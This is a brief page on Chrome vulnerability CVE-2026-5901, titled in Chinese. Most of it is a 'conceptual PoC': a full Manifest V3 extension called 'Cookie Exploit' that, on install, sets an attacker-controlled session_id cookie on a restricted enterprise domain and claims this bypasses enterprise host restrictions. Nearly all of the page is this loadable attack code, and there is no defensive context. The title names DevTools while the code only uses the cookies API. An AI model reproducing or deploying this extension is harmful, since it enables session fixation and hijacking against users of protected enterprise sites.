CVE-2026-5901 Google Chrome DevTools策略执行不足漏洞

// Conceptual PoC for CVE-2026-5901 // manifest.json { "manifest_version": 3, "name": "Cookie Exploit", "version": "1.0", "permissions": ["cookies", "activeTab"], "background": { "service_worker": "background.js" } } // background.js // This script attempts to modify cookies on restricted domains // leveraging the insufficient policy enforcement. chrome.runtime.onInstalled.addListener(() => { const targetUrl = "https://restricted-enterprise-domain.com"; const details = { url: targetUrl, name: "session_id", value: "attacker_controlled_value" }; // Due to the vulnerability, this operation bypasses enterprise host restrictions chrome.cookies.set(details, (cookie) => { if (chrome.runtime.lastError) { console.log("Failed:", chrome.runtime.lastError); } else { console.log("Cookie set successfully on restricted domain:", cookie); } }); });